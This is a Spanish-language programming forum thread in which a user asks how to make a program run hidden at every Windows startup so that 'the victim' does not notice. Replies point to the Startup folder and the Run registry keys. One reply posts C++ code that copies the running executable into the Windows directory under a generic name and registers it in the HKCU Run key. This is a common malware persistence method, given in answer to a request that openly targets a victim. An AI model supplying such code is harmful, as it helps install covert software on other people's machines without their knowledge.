Crear programa que se ejecute al iniciar windows.

Iniciado por joselet99, 27 Marzo 2017, 16:14 PM

0 Miembros y 1 Visitante están viendo este tema.

joselet99

Hola tengo un programa que me gustaría que se iniciara solo al encender el windows y que no se vea,es decir que este en ejecución pero que la victima no se de cuenta.

PalitroqueZ

que tan oculto lo quieres?

las 2 formas faciles son

crear un acceso directo en la carpeta inicio (del menu de windows)

crear una clave con la ruta del programa en el registro de configuracion de windows en la rama

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

"La Economía planificada lleva de un modo gradual pero seguro a la economía dirigida, a la economía autoritaria y al totalitarismo" Ludwig Erhard

joselet99

Me gustaría que cada vez que enciendo el pc el programa se ejecute automáticamente y qui no se vea abierto,solo que se ejecute.

PalitroqueZ

tu segunda petición ya es parte de la programación del software. tienes que programarlo como un proceso, sin GUI o con opciones a linea de comandos para alternar ambas formas de arrancar
"La Economía planificada lleva de un modo gradual pero seguro a la economía dirigida, a la economía autoritaria y al totalitarismo" Ludwig Erhard

dapz

#4
Código (cpp) [Seleccionar]

void copiarregistro()
{
char rutaactual[MAX_PATH]
char nuevaruta[MAX_PATH]

HMODULE GetModH = GetModuleHandle(0);
GetModuleFileNameA(GetModH, rutaactual, sizeof(rutaactual));
GetWindowsDirectoryA(nuevaruta, sizeof(nuevaruta));

strcat(nuevaruta, "\\ejemplo.exe");
CopyFileA(rutaactual, nuevaruta, 0);

HKEY hKey;
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);

RegSetValueExA(hKey, "ejemplo.exe", 0, REG_SZ, (const unsigned char*)nuevaruta, sizeof(nuevaruta));

RegCloseKey(hKey);


}



· Los códigos deben ir en etiquetas GeSHi
>aquí las reglas del foro
-Engel Lex
C/C++ ASM